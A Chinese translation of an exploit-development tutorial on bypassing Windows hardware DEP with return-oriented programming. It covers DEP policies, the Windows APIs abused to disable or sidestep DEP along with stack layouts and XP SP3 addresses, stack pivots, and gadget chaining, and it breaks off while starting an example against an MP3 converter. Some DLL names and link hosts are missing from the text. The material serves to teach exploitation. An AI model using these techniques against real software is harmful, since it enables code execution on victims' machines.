2024年11月6日发(作者:佼震轩)
Exploit
编写系列教程第十篇:用
ROP
束缚
DEP-
酷比魔方
译:看雪论坛
-dragonltx-2010-9-20
介绍
在我完成我前面的exploit相关教程之后三个月,我最终找了些时间和精力来开始写一篇新
的文章。
在前面的教程中,我已经解释了基于栈溢出的基础和怎样执行任意的代码。我讨论了direct
ret溢出,基于SEH的exploit,Unicode和其他的字符限制条件,运用调试器插件来加速exploit
的开发,怎样绕过常用的内存保护机制和怎样写你自己的shellcode。
然而第一个教程是写来引导人们学习exploit开发的基础,从乱写开始(主要是为了照顾那
些不懂exploit开发的人们),你很可能发现最近的教程大体上继续在这些基础上下功夫,并
且需要牢固的asm知识,创造力的思想,和一些exploit写作的经验。
今天的教材是不一样的。我将继续在我们已经在前面的教程中见过和学到的知识上更上一
步。这需要一些一些要求:
1、你需要掌握基于栈溢出的利用技术(directRET,SEH,等等)。我假设你已经具备了。
2、你需要一些asm知识。不要担心。即使你的知识只是能够明白特定指令的作用,你也将
可能读懂这篇教程。但是当你想自己打造自己的ropexploit/应用rop技术,当你需要完成一
个特定的任务时,你需要能够写asm/认出asm指令。总之,在某种程度上,你能够在写rop
链和写通用的shellcode之间进行比较,因此我猜你已经有了一定水准的asm编写水平。
3、你需要知道怎样用ImmunityDebugger。设置断点,单步执行,修改寄存器和栈上的值。
4、你需要知道栈是如何工作的,数据是怎样入栈的,出栈的,寄存器是怎样工作的并且怎
样使寄存器和栈之间互相影响。这是开始写ROP所必须的。
5、如果你没有掌握基于栈溢出利用的基础,那么这文章不适合你。我将试着解释并且尽可
能好的写出所有的步骤,但是为了避免以一篇很长的文章结束,我将会假设你知道基于栈溢
出的原理和利用方法。
在这系列的文章6中
:8800//2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-
cookies-safeseh-hw-dep-and-aslr/,我已经解释了一些技术来绕过内存保护系统。今天,我将
精心阐述这些保护机制中的一个,叫做DEP。(更确切地说,我将讨论硬件DEP(NX/XD)
和怎样绕过它)。在教程6中你可以读到,有2中主要的保护机制...首先,开发者能够利用
很多技术(安全编码,栈cookies,safeseh,等等)。大多数的编译器和链接器现在默认使用
这些特征(除了“安全编码”,这不是课程的一个特征),这是很不错的。很悲哀,还有相当
多数量的应用程序没有利用保护措施,依靠其他的保护机制。我想你会同意还有很多的开发
者没有将安全编码应用到他们的所有代码中。更重要的是(是事情更糟),一些开发者开始
依靠OS的保护机制(看下面),并且不关心安全编码。
这将我们带到保护的第二层,所有最近版本的Windows操作系统的一部分:ASLR(地址空
间布局随机化)和DEP(数据执行保护)。
ASLR将使栈,堆,模块基地址随机化,使它很难被“预测”(甚至硬编码)地址/内存位置,
因此,使黑客很难打造可靠的exploit。DEP(在这个教程里我指硬件DEP)将会基本上阻
止代码在栈上执行(这是所有前面教程所做的)。
ASLR和DEP的结合已经证明了在大多数情况下是有效的(但是,今天你将会学到的,在
特定环境下还是可以被绕过的)。
简言之,应用程序bug/缓冲区溢出不会自动魔幻地消失,将会不可能消失,并且编译器/链
接器不是一直对所有的模块都适用。这意味着ASLR和DEP是我们最后的防御层。ASLR
和DEP是所有最近OS的一部分,因此,很自然地可以看到攻击/绕过这两种保护机制已经
成为黑客和研究者的重要目标。
在教程里用来绕过DEP的技术不是最新的技术。它基于ret-to-libc的思想并且被烙上“ROP”
的印记,是“ReturnOrientedProgramming”的简称。
我已经在教程6中讨论了ret-to-libc的思想,实际上,在教程6中解释的
NtSetInformationProcess技术是ROP的一个例子。
在过去的几年/几月,用ROP绕过DEP的新技术已经写出来了。这个教程做的就是简单地
将所有的信息聚集起来并且解释他们是怎样用来在win32系统上绕过EDP的。
在看DEP是什么,怎样绕过它之前,有一件很重要的事要记住::
在所有的前面教程中,我们的shellcode(包括定位代码等等)是放在栈或者堆上,并且试着
用可靠的方法来跳到代码处并执行。
由于硬件DEP的使用,我们不能再栈上执行一条指令。你可以在栈上弹入并且弹出数据,
但是我们不能跳到栈中执行代码。在没有绕过/禁掉DEP时不行。
记住。
Win32
世界中的硬件
DEP
硬件DEP利用了在DEP兼容的CPU的NX(“无执行页保护”,AMD规格)或者XD(“不
能执行”,intel规格)位,并且将特定部分的内存(只能包含数据,比如说默认堆,栈,内
存池)标记为不可执行。
当尝试在一个DEP保护的数据页执行代码时,将会发生访问拒绝
(STATUS_ACCESS_VIOLATION(0xc0000005))。在大部分情况下,这会导致进程结束(没
有处理的异常)。事实上,当一个开发者决定他想允许代码在一个特定的内存页中运行,他
将不得不分配内存然后标记为可执行。
在WindowsXPSP2和WindowsServer2003SP1引入了硬件DEP的支持,并且是这两种版
本之后的所有Windows操作系统的一部分。
DEP作用在每个虚拟内存页面并且会改变PTE(页表入口点)上的一位来标记页面。
为了使OS用这个特征,处理器必须运行在PAE模式(物理地址扩展)。幸运地,Windows
默认开启PAE。(64位的系统是知道“AddressWindowingExtensions”(AWE),因此也不需
要在64位上有一个分离的PAE内核)。
DEP在Windows操作系统中表现的方式是基于一个能够配置成下列值中的一个的环境:
●OptIn:只有有限的一些windows系统模块/二进制程序是受DEP保护的。
●OptOut:所有在Windows系统上的程序,进程,服务都是受保护的,除了在例外列表中的
进程。
●AlwaysOn:所有在Windows系统上的程序,进程,服务都是受保护的。没有例外。
●AlwaysOff:DEP被关掉。
除了这四个模式之外,MS实现了一种叫做“永久的DEP”机制,用SetProcessDEPPolicy
(PROCESS_DEP_ENABLE)来确保进程是启用DEP的。在Vista(并且之后的)上,这个“永
久”的标记是自动对所有的可执行文件(用/NXCOMPAT选项)设置的。当标记被设置,那么
改变DEP策略可能只能用SetProcessDEPPolicy技术(看后面)。
你可以在/en-us/library/bb736299(VS.85).aspx和
/b/michael_howard/archive/2008/01/29/new-nx-apis-added-to-
找到更多有关
SetProcessDEPPolicy的信息。
对不同版本的Windows操作系统的默认设置是:
●WindowsXPSP2,XPSP3,VistaSP0:OptIn(XPSP3也有永久的DEP)
●WindowsVistaSP1:OptIn+AlwaysOn(+永久的DEP)
●Windows7:OptOut+AlwaysOn(永久的DEP)
●WindowsServer2003SP1和更高的:OptOut
●WindowsServer2008和更高的:OptOut+AlwaysOn(+永久的DEP)
在XP和2003server上,DEP行为可以通过的参数来改变。只要简单地在这行的
末尾加上下面的参数(引用你的OS启动配置):
/noexecute=policy
(这里“policy”可以是OptIn,OptOut,AlwaysOn或者AlwaysOff)
在Vista/Windows2008/Windows7,你能用bcdedit命令来改变设置:
/setnxOptIn
/setnxOptOut
/setnxAlwaysOn
/setnxAlwaysOff
你可以通过运行“bcdedit”来得到目前的状态然后看下nx的值
一些关于硬件DEP的链接:
●/kb/875352
●/wiki/Data_Execution_Prevention
●/en-us/library/aa366553(VS.85).aspx
绕过DEP--构建模块
正如在介绍中陈述的,当硬件DEP启用时,你不能只是跳到你的在栈上的shellcode,因为
它不会执行。相反,它将会触发一个访问违例并且很可能会结束进程。
在那个的顶部,每个特殊的DEP设置(OptIn,OptOut,AlwaysOn,AlwaysOff)和永久的DEP
的影响(或者缺席)将需要一个特殊的方法和技术。
因此,我们的选择是什么?
好的,由于我们不能在栈上执行我们自己的代码,我们唯一能做的事是从已经加载的模块中
执行现有的指令/调用现有的函数,然后用栈上的数据作为这些函数/指令的参数。
这些现有的函数会提供给我们这些选择
●执行命令(举个例子,WinExec-典型的“ret-to-libc)
●将包含你的shellcode的页面(例如栈)标记为可执行(如果可以通过主动的DEP策略来
使它运行执行)然后跳到那里
●将数据拷贝到可执行区域然后跳到那里(我们可能要分配内存然后首先将那个区域标记为
可执行)
●在运行shellcode之前改变当前进程的DEP设置
当前的主动的DEP策略和设置将几乎支配你不得不在某些情况下用来绕过DEP的技术。
一个需要一直有效的技术是典型的“ret-to-libc”。你需要能够执行简单的命令,用现有的
WindowsAPI调用(如WinExec),但是用这个很难精巧地制作“真正的”shellcode。
因此我们要看得远点。我们真的需要绕过/推翻/改变DEP设置然后使我们的自定义
shellcode运行。幸运地,标记页面可执行/改变DEP策略设置/等等都能通过WindowsOS
的nativeAPI/函数调用。
因此,这很简单吧?
是也不是。
当我们要绕过DEP,我们要调用一个WindowsAPI(我将会在后面更进一步描述这些Windows
API的细节)。
那个API的参数必须在寄存器或者栈中。为了将这些参数放在它们应该在的地方,我们很可
能要写一些自定义代码。
想想。
如果给定的API函数的一个参数比如是shellcode的地址,那么你不得不动态产生/计算这
个地址,然后将它放在栈上的正确位置。你不能硬编码,因为这将会不可靠(或者,如果缓
冲区不能处理null字节并且其中的一个参数需要null字节,那么你就不能再你的缓冲区里
硬编码那个值)。用一些短小的shellcode来产生值也不能成功,因为...DEP启用。
问题:我们如何得到栈上的这些参数
回答:用自定义代码
在栈上的自定义代码,无论如何,是不能执行的,DEP会阻止那个发生。
不相信我?那我们来试下在教程1里的那个老而好的EasyRMtoMP3Convertorexploit。
没有DEP(OptIn)
有DEP(OptOut)
或者,在调试器中可以看到的(启用DEP-OptOut),就在shellcode的第一条指令将要执行
(就在jumpesp的后面):Movie
相信我。甚至是一个简单的NOP指令也不会执行。
小配件
无论如何,回到我们的“自定义代码”问题上。因此如果在栈上运行代码不成功,我们不得
不用ROP。
为了运行我们的自定义代码和最终执行WindowsAPI函数调用,我们将需要用现有的指令
(进程里的可执行区域的指令),并且将它们按顺序放在一起(并且将它们链在一起),因此
它们将会产生我们所需要的然后将数据放入寄存器中或者栈上。
我们需要打造一连串指令。我们需要从链的一部分跳转到链的其他部分在没有从DEP保护
的区域里执行一条简单的指令。或者,用一种更好的术语,我们需要从一条指令返回到下一
条指令的地址(最终返回到WindowsAPI调用当栈已经被设置了)。
在我们的ROP链中的每一条指令(一系列的指令)将会被叫做一个“小配件”。每个小配件
将会返回到下一个小配件(=到下一个小配件的地址,在栈上),或者直接调用下一个地址。
那样,指令序列被链在一起。
在他的原始文章中,HovavShacham用术语“小配件”当涉及到高级别的宏/代码片
段。时下,术语“小配件”通常用来指一系列的以ret结尾的指令(实际上只是原始“gadget”
定义的一个子集)。理解这微妙的东西很重要,但是同时我确信你会原谅我当我在这篇教程
里用“gadget”来指以些以ret结尾的指令集合。
在你打造基于ROP的exploit的同时,你会发现用这些小配件来打造你的栈和调用API的思
想有时能和解决酷比魔方相提并论(感谢Lincoln的伟大比较)。当你试着在栈上设置一个
特定的寄存器或者值,你可能以改变其他的一个而结束。
因此没有通用的方法来打造一个ROPexploit,然后有时你会发现它有点让人沮丧。但是我
能向你保证毅力和坚持不懈会有回报的。
这是理论。
调用Windows函数绕过DEP
首先,在你开始写exploit之前,你需要决定你的方法是什么。在当前OS/DEP策略下,你
能用来绕过DEP的可利用的/可能的WindowsAPI是什么?一旦你已经决定了,你可以相应
地思考设置你的栈。
这些是最重要的函数能够帮你绕过/停用DEP:
●VirtualAlloc(MEM_COMMIT+PAGE_READWRITE_EXECUTE)+复制内存。这会允许你创建一个
新的可执行内存区域,将你的shellcode复制到这里,然后执行。这技术要求你将这2个
API互相链在一起。
●HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)+HeapAlloc()+复制内存。大体上,这函数
提供了一种和VirtualAlloc()相似的技术,但是需要将3个API互相链在一起。
●SetProcessDEPPolicy()。这允许你改变当前进程的DEP策略(因此你能从栈上执行你的
shellcode)(VistaSP1,XPSP3,Server2008,并且只在DEP策略设成OptIn或者OptOut)
●NtSetInformationProcess()。这个函数会改变当前进程的DEP策略,因此你能从栈上执
行你的shellcode。
●VirtualProtect(PAGE_READ_WRITE_EXECUTE)。这个函数会改变一个给定内存页的访问保
护级别,允许你将shellcode在的地方标记为可执行。
●WriteProcessMemory()。这个将允许你将shellcode复制到另一个(可执行)位置,因此
你能跳到那里并且执行shellcode。目标位置必须是可写和可执行的。
这些函数中的每一个都要求栈或者寄存器按一种特定的方法设置。毕竟,当一个函数被调用,
它会假设函数的参数被放在栈顶(=在ESP)。这意味着你的首要目标是在栈上精巧地制作这
些值。用一种通用的和可靠的方法,没有在栈上执行任何代码。
最后(在设置完栈后),你将很可能停止调用这个API。为了使调用成功,ESP必须指向API
函数的参数。
因为我们将会用小配件(一系列指令的指针),被放在栈上的你的payload/缓冲区的一部分,
并且因为我们一直很可能在构建完你的整个rop链来配置参数后返回到栈上,你的最终结果
很可能是这样的:
在函数被调用之前,ESP指向WindowsAPI函数指针。这个指针直接跟着函数需要的参数。
那时,一个简单的“RET”指令将会跳到那个地址。这会调用函数并且是ESP移动4字节。
如果一切顺利的话,栈顶(ESP)指向被调用函数的参数。
选择你的武器
(1)=不存在
(2)=将会失败因为默认的DEP策略设置
不要担心怎么应用这些技术,一会儿事情将会变明白。
函数参数&用法提示
正如早些时候陈述的那样,当你想用这些可用的WindowsAPI中的一个,你首先要用正确的
参数为那个函数设置栈。接下来的是这些函数的总结,它们的参数,和一些用法提示。
VirtualAlloc()
这个函数将会分配新的内存。这个函数的一个参数指定了最近分配的内存的可执行/访问级
别,因此我们的目标是将这个值设成EXECUTE_READWRITE。
/en-us/library/aa366887(VS.85).aspx
这个函数需要你设置栈包含下面的值:
返回值
lpAddress
dwSize
flAllocationType
flProtect
函数返回地址(=在它完成后函数需要返回的地址)。我将在一会儿讨论
这个值
要分配区域的起始地址(=你想要分配内存的新位置)。记住这个地址会
在最近倍数的内存粒度传开。你可以试着为这个参数提供一个硬编码值
区域的大小。(你将可能需要用rop来产生这个值,除非你的exploit能
处理null字节)
设成0x1000(MEM_COMMIT)。可能需要rop在栈上产生&写这个值
设成0x40(EXECUTE_READWRITE)。可能需要rop在栈上产生&写
这个值
在XPSP3,这个函数在0x7C809AF1处()
当VirtualAlloc()调用成功,分配的内存地址会被保存在eax中。
注意:这个函数只分配新的内存。你要用另一个API调用来复制shellcode到新的区域并执
行它。因此,你需要另一个rop链来完成这个。(在上面的表格中,我提到返回地址参数需
要指向第二个rop链。因此,VirtualAlloc()的返回地址需要指向将shellcode复制到新分配区
域并跳转到那里的rop链)
为了完成这个,你能用
●memcpy()()-在XPSP3上0x7C901DB3
●WriteProcessMemory()(看后面)
举个例子,如果你要用memcpy(),然后你可以同时hookVirtualAllocate()和memcpy()调
用并且使它们直接互相执行,用下面的设置:
首先,VirtualAlloc()函数的指针必须在栈顶,之后在栈上跟着参数的值:
●memcpy的指针(VirtualAlloc()的返回地址地段)。当VirtualAlloc停止后,它会返回
这个地址
●lpAddress:任意的地址(分配新内存的地址,比如0x0020000)
●大小(新分配的内存的大小)
●flAllocationType(0x1000:MEM_COMMIT)
●flProtect(0x40:PAGE_EXECUTE_READWRITE)
●任意地址(和lpAddress一样的地址,这个参数将会用在memcpy()返回后跳转到
shellcode)。这个字段是memcpy()函数的第一个参数
●任意地址(一样,和lpAddress一样的地址。这个参数用来作为memcpy()的目的地址)。
这个字段是memcpy()函数的第二个参数
●shellcode的地址(=memcpy()的源参数)。这个是memcpy()的第三个参数
●大小:memcpy()的大小参数。这是memcpy()的最后一个参数
很明显,关键是找到一个可靠的地址(分配内存的地址)和在栈上用rop产生所有的参数。
当这个链结束后,你将会以执行被拷贝到最近分配的内存中的代码而告终。
HeapCreate()
/en-us/library/aa366599(VS.85).aspx
这个函数将会创建一个能在我们的exploit中用的私有堆。空间将会被保留在进程的虚拟地
址空间。
当flOptions参数被设置成0x00040000(HEAP_CREATE_ENABLE_EXECUTE),然后所有从
这个堆里分配的内存块将会允许执行代码,尽管DEP已经开启。
dwInitialSize参数必须包含一个指示堆大小的值,用字节表示。如果你设置这个参数为0,
然后将会分配一个页。
dwMaximumSize参数指堆的最大大小,用字节表示。
这个函数只能创建一个私有堆并将它标记为可执行。你依然要在这个堆里分配内存(如用
HeapAlloc)然后将shellcode拷贝到那个堆位置(如用memcpy())。
当CreateHeap函数返回时,一个指向最新创建的堆指针会存在eax中。你需要这个值来调
用HeapAlloc():
/en-us/library/aa366597(v=VS.85).aspx
当新的堆分配完之后,你可以用memcpy()来将shellcode拷贝到已分配的堆中并且执行。
在XPSP3中,HeapCreate在0x7C812C56处。HeapAlloc()在7C8090F6。二者都是
的一部分。
SetProcessDEPPolicy()
/en-us/library/bb736299(VS.85).aspx
适用在:WindowsXPSP3,VistaSP1和Windows2008。
为了能使这个函数有效,当前的DEP策略必须设成OptIn或者OptOut。如果策略被设成
AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy将会抛出一个错误。如果一个模块
是以/NXCOMPAT链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
将不成功。
BernardoDamele写了一篇出色的关于这个话题的博文:
/2009/12/
这个函数需要一个参数,并且这个参数必须设置为0来停用当前进程的DEP。
为了在ROP链中用这个函数,你需要在栈上这样设置:
●指向SetProcessDEPPolicy的指针
●指向shellcode的指针
●0
指向shellcode的指针会确认当SetProcessDEPPolicy()执行完ROP链会跳到shellcode。
在XPSP3下SetProcessDEPPolicy的地址是7C8622A4()
NtSetInformationProcess()
适用于:WindowsXP,VistaSP0,Windows2003
Skape和skywing的技术文档:/?v=2&a=4
用这个函数需要在栈上有5个参数:
返回值
NtCurrentProcess()
ProcessExecuteFlags
&ExecuteFlags
sizeOf(ExecuteFlags)
要产生的值,指示了函数需要返回的地方(=shellcode在的地方)
静态值,设成0xFFFFFFFF
静态值,设成0x22
指向0x2(值可以是静态的,也可能是动态的)。这个地址必须指向
包含0x00000002的内存位置
静态值,设成0x4
如果永久DEP标志已经标记,那么NtSetInformationProcess将会失败。在Vista(然后更
后面的),这个标志会对所有的以/NXCOMPAT链接选项链接的可执行文件自动设置。如果DEP
策略模式设成AlwaysOn,这个技术也会失败。
或者,你也可以用ntdll中的现有例程(基本上,会做一样的事,并且会为你自动将参数设
置)。
在XPSP3,NtSetInformationProcess()在7C90DC9E()
正如早些时候提到的,我已经在教程6中解释了一种用这种技术的可行方法,但是我会在今
天的教程中用另一种方法用这个函数。
VirtualProtect()
/en-us/library/aa366898(VS.85).aspx
VirtualProtect函数改变调用进程的内存保护访问级别。
如果你想用这个函数,你将要在栈上放5个参数:
返回值
lpAddress
dwsize
flNewProtect
指向VirtualProtect()需要返回的地方。这个将会是你的shellcode在栈上的地
址(动态创建的值)
指向需要改变访问保护属性的页区域的基地址。基本上,这会是shellcode
在栈上的基地址(动态创建的值)
字节数(动态创建的值,使整个shellcode执行。如果shellcode由于某些原
因要扩展(比如解码),那么这些额外的字节必须考虑进来。
指定新的保护选项:0x00000040:PAGE_EXECUTE_READWRITE。如果你
的shellcode不会修改自身(如解码器),那么只要0x00000020
(PAGE_EXECUTE_READ)也能成功
获得先前访问保护值的指针变量lpflOldProtect
注意:VirtualProctect()能用的内存保护常数可以在这里找到
/en-us/library/aa366786(v=VS.85).aspx
在XPSP3,VirtualProtect()在0x7C801AD4()
WriteProcessMemory()
/en-us/library/ms681674(VS.85).aspx
SpencerPratt的技术文档:
/papers/general/
这个函数会允许你复制你的shellcode到另一个(可执行)你能跳到的&可执行的位置。在复
制过程中,WPM()会确认目的位置是标记为可写的。你只需要确认目的位置是可执行的。
返回地址
hProcess
lpBaseAddresss
lpBuffer
nSize
lpNumberOfBytesWritten
在它完成后WriteProcessMemory()要返回到的地址
当前进程的句柄。-1指向当前进程(静态值0xFFFFFFFF)
指向你的shellcode需要写入的位置。“返回地址”和
“lpBaseAddress”一样。
你的shellcode的基地址(动态产生,栈上的地址)
你需要拷贝到目的位置的字节数目
可写位置,字节数将会被写入的位置
在XPSP3,WriteProcessMemory()在0x7C802213()
WriteProcessMemory()(缩写成WPM()从这里开始)的一个很好的东西是你能用2中来绕过
DEP。
*WPM技术1:完整的WPM()调用
你可以将你的shellcode复制/写到一个可执行位置然后跳到那里。这个技术需要所有的
WPM()参数都要正确设置。一个可能的在XPSP3中的例子是给打补丁(被很多
应用程序加载)。很可能不会在你的shellcode中要到,因此搞坏它是可以接受的。
如果是RE,这.text节从0x77121000并且是7F0000字节长。
这种方法有个问题。由于你要写入一个R+E区域,shellcode不能修改自己。
(WriteProcessMemory调用会暂时将位置标记为可读,但是又去掉这个级别)这意味着,
如果你用编码的shellcode(或者会修改自身的shellcode),将不会成功。由于坏字节这也
是一个问题等等。
当然,你可以试着预先考虑在真正的shellcode里面包含一些小的shellcode来使自己的位
置标记为可读,比如这些小的shellcode会用VirtualProtect()。你可以在“Egghunter”
那节中找到怎么做的例子。
我们需要2个地址:一个用来作为返回地址/目的地址,一个会被用作可写位置(要写入字
节数目写入的地方)。因此一个很好的例子是这样的:
返回地址
hProcess
lpBaseAddress
0x77121010
0xFFFFFFFF
0x77121010
lpBuffer
nSize
lpNumberOfBytesWritten
要产生的
要产生的
0x77121004
(lpNumberOfBytesWritten在目的位置之前,来避免它会在shellcode复制到目的位置后
破坏shellcode)
如果你想用有解码器的shellcode,你要预先考虑在你的shellcode里调用VirtualProtect,
在运行编码后的shellcode之前,来使当前的区域标记为可写/可执行的(取决于你是否写
入一个RE或者RW区域)...
*WPM技术2:给WPM自身打补丁
或者,你也可以给WPM自身打补丁。因此你要将shellcode写入,覆盖掉WPM
函数的一部分。这可以用编码后的shellcode来解决这个问题(但是它会有一个大小限制,
你会在一会儿看到)
在XPSP3下,WPM函数在0x7C802213
在WPM函数里面,一系列的调用和跳转被用来将栈上的数据(shellcode)复制到目的位置:
●0x7C802222:调用ectVirtualMemory():这个函数调用会确认使目标位置
变成可读的
●0x7C802271:调用eVirtualMemory()
●0x7C80228B:调用hInstructionCache()
●0x7C8022C9:调用eVirtualMemory()
在最后一个函数调用之后,数据将会被拷贝到目的位置。
然后,当自身拷贝完,函数将会写入要写的字节数并且返回被指定为一个参数的地址。最后
的例程从7C8022CF开始(就在最后一个调用WriteVirtualMemory()后)
因此我们的第二选择是将shellcode写入代码的顶部,会写入字节数并返回给调用者。我们
不必等代码写完这些字节并返回,因为我们要做的是让shellcode执行。
同时(你可以在下面的反汇编中看到),当WPM函数完成复制进程,它返回到0x7C8022CF。
因此那可以是一个用做目的地址的好位置,因为它在程序的自然流中并且会自动执行。
这会有一些后果:
参数
:第一个(返回地址)和最后一个参数(指向lpNumberofBytesWritten的可读地址)是
不重要的。比如你可以将返回地址设成0xFFFFFFFF。虽然SpencerPratt在这篇文章里
/papers/general/说过
lpNumberOfBytesWritten可以设成任意值(如果你愿意的话设成0xDEADBEEF),似乎这个
地址需要指向一个可读位置来使它有效。除了这个,目的地址(shellcode要写入的地方)指
向WPM函数自身里面。在XPSP3中,这会是0x7C8022CF。
大小
:热补丁WPM函数看起来很不错,如果我们写得太远的话但是会破坏。
对shellcode自身很重要。很可能你的shellcode将要用中的函数。
如果你破坏了的结构,你的shellcode可能不在运行。因此这个技术在你的
shellcode大小是有限的情况下会成功。
栈布局例子/函数参数:
返回地址
hProcess
lpBaseAddress
lpBuffer
nSize
lpNumberOfBytesWritten
0xFFFFFFFF
0xFFFFFFFF
0x7C8022CF
要产生的
要产生的
用一个(任意的)可写位置,可以是静态的
ROPExploit
的可移植性
当你开始打造ROPexploit时,你很可能在你的exploit里以硬编码函数指针结束。然而,有
很多方法可以避免这么,如果你不得不硬编码指针,你应该知道你的exploit不会在Windows
操作系统的其他版本中利用成功。
因此,如果你已经硬编码了指向windows函数的指针,那么也可以从OSdll中用小配件。
只要我们不需要处理ASLR,一切都是行的。
试着打造一个通用的exploit是不错的,但是说实话-如果你没从OSdll中硬编码任何东西,
你需要避免OSdll的东西。
不管怎样,查实你要用来绕过DEP的函数(如果程序用了),看你能不能用一个程序/模块
指针调用那个函数。这样的话,你依然可以使exploit通用,不用产生函数地址,不用从OS
dll中硬编码地址。
一种可行的方式是你在IDA里看是否能够用一个在程序里面的或者被程序加载的dll
API调用,然后看导入表
例子:在XPSP3中的
●7C37A08C:HeapCreate()
●7C37A07C:HeapAlloc()
●7C37A094:VirtualAlloc()
●7C37A140:VirtualProtect()
注意:检验“!pvefindaddrropcall”,在pvefindaddrv1.34版本
:8800/projects/pvefindaddr和更高的版本中
从EIP到ROP
为了使事情明白点,我们还是从基础开始吧。
不管DEP启用与否,溢出一个缓冲区的最初过程和最终获得EIP的控制权是一样的。因此你
直接覆盖EIP,或者你可以尝试覆盖SEH记录然后触发一个访问违例,因此覆盖的SE处理
函数地址会被调用。(还有其他的方法来获得EIP的控制权,但是这超出了文章的范围)
到目前为止,DEP跟这个一点也关系。
DirectRet
在一个典型的directRETexploit中,你可以用一个任意值直接覆盖掉EIP(或者,更精
确点,当函数结尾--用一个覆盖掉的保存EIP--被触发时,EIP被覆盖掉。当这个发生时,
你很可能看到你控制了ESP指向的位置的内存数据。因此如果不是DEP,你可以用你最喜欢
的工具(!pvefindaddrjesp)来定位一个指针到“jumpesp”然后跳到你的shellcode中。
游戏结束。
当DEP被启用时,我们不能那样做。不是跳到ESP(用一个会跳到esp的指针覆盖掉EIP),
我们不得不调用第一个ROP小配件(也可以直接在EIP中或者使EIP跳到ESP)。那个小配
件必须按特定的方式设置,因此它们会形成一条链然后一个小配件返回到另一个小配件中,
没有直接在栈中执行代码。
怎样才能打造一个ROPexploit将会在后面讨论。
基于SEH
在一个基于SEH的exploit中,东西是不一样的。你只能在被覆盖的SE处理函数被调用时
才能控制EIP的值(如触发一个访问违例)。早在一个典型的基于SEHexploit中,你将会
用一个指向pop/pop/ret指针覆盖到SEH,这会使你到达下一个SEH,然后在那个位置执行
指令。
当DEP启用时,我们不能这么做。我们能很好地调用p/p/r,但是当它到达时,你将会在栈
上执行代码。然而我们不能在栈上执行代码,记得?我们不得不打造一个ROP链,用这条链
绕过/停用执行保护系统。这条链会放在栈上(作为你的exploitpayload的一部分)
所以在一个基于SEH的exploit例子中,我们不得不找一种方法来返回到我们的栈中而不是
调用一个poppopret串。
最简单的方法是执行一个所谓的“以栈为轴”的操作。不是用poppopret,我们将试着返
回到我们的缓冲区在的栈上的位置。我们可以通过下面的指令中的一个来达到目的:
●addesp,offset+ret
●movesp,寄存器+ret
●xchg寄存器,esp+ret
●call寄存器(如果寄存器指向你能控制的数据)
一样,怎样用这个创建我们的ROP链会在下面讨论。
在我们开始之前
在DinoDaiZovi/2010/04/
的关于ROP的令人敬畏的文章中,它已经将ROPexploit过程部件(39页)形象化得很好。
当打造一个基于ROP的exploit时,你将需要:
●以栈为轴
●用你的小配件来设置栈/寄存器(ROPpayload)
●投掷你的常规的shellcode
●使shellcode执行
我们将会在下一章介绍所有的阶段。
DirectRet--ROP版本--VirtualProtect()
到滚动
ROP
的时候了
让我们来打造我们的第一个ROPexploit。
我们将会用WindowsXPSP3Professional,English,DEP是OptOut模式。
在这个例子中,我将会试着为EasyRMtoMP3
Conventor/打造一个基于ROP的exploit,在教程
1:8800//2009/07/19/exploit-writing-tutorial-part-1-stack-based-ov
erflows/中用到的有弱点的应用程序。
注意:在你的系统上,偏移量和地址可能不一样。不要盲目地从这个教程中复制一切,
但是自己试一下然后需要时调整下地址。
EasyRMtoMP3Conventor在打开一个包含极度长的字符串的m3u文件时会有缓冲区溢出
的弱点。用一个循环的方式,我们发现在26094字节后EIP被覆盖。同时,这是在我的系统
上的偏移量。如果偏移量是不一样的,然后适当地改变脚本。这个偏移量是基于m3u文件
在你的系统上的位置,由于应用程序会预先用文件的全路径来计划缓冲区。你可以用20000
个A+7000字符来计算偏移量。
无论如何,exploit脚本(perl)的骨架看起来是这样的:
如果我们的偏移量是正确的话,EIP会被BBBB(42424242)覆盖...
...并且ESP指向一个包含我们的一连串C的地址。到目前为止,这是一个典型的directRet
覆盖exploit。
它不适用于DEP,我们需要在ESP处放我们的shellcode(而不是一连串C)然后用跳转到
esp的指针覆盖掉EIP。但是我们不能那样做因为由于DEP我们的shellcode不能执行。
因此我们将会用VirtualProctect()()函数来创建一个ROP链来改变内存页
(shellcode在的位置)的访问保护级别,因此它会被执行。
为了使这个成功,我们需要传递一些参数给这个函数。在函数被调用时,这些参数需要放在
栈顶。
有一些方法可以做这个。我们可以将需要的值放在寄存器中然后用pushad操作(一次将所
有东西入栈)。另一种技术是将其中的一些参数(静态的/没有null字节的)放在栈上,并且
用一些ROP小配件来计算其他的一些参数,将它们写入栈(用一些sniper技术)。
我们不能在m3u文件中用null字节,因为EasyRMtoMP3Converter会将文件中的数据当
做字符串,然后字符串会被第一个null字节阻断。我们也要记住我们很可能以一些限制性
字符集结束(我们可以简单地创建编码的shellcode来克服这个问题)
闲话说的很多了,现在让我们开始吧。
怎样打造链(链接基础)
为了绕过DEP,我们需要打造一连串现有指令。能够在所有的模块中找到的指令(只要它
们可执行,有一个静态地址并且不包含null字节的就行)
基本上,由于你需要将数据放到栈上(将会绕过DEP的函数参数),你将会找一些能够允许
你修改寄存器的指令,将数据入栈和出栈等等。
这些指令中的每一个--由于某种原因--需要跳到你要执行的下一条指令(或者指令集)。最简
单的方法是确保这指令跟着一条RET指令。这个RET指令会从栈上拾取下一个地址然后跳
过去。(毕竟,我们从栈上开始我们的链,因此RET将会返回到栈上然后带走下一个地址)。
因此基本上在我们的链中,我们将会从栈上拾取地址然后跳过去。这些地址的指令能够从栈
上拾取数据(因此当然这些字节不得不放在正确的地方)。这些的结合会形成我们的rop链。
每个“指令+RET”被叫做一个“ROP小配件”。
这意味着,在指针之间(指向指令),你可以通过这些指令中的一个来放你能拾取到的数据。
同时,你需要评估下这些指令能干什么并且栈上两个指针怎样影响你需要的空间。如果一个
指令执行ADDESP,8,然后这将会移动栈指针,并且会影响下一个指针应该放在哪里。因
此小配件末尾的RET需要返回到下一条指令的指针。
我猜很明白你的ROP例程会很可能消费栈上的一定数量的字节。因此我们的例程的可利用
缓冲区空间会很重要。
如果所有听起来很复杂,那么不要担心。我会用一个小例子来使事情明白点:
比如说,作为ROP例程的一部分,我们需要从栈上取出一个值,放在EAX中,并且加上
0x80。换句话说:
●我们需要找到一个指向POPEAX+RET的指针然后放到栈上(小配件1)
●放入EAX中的值必须放在指针的下面
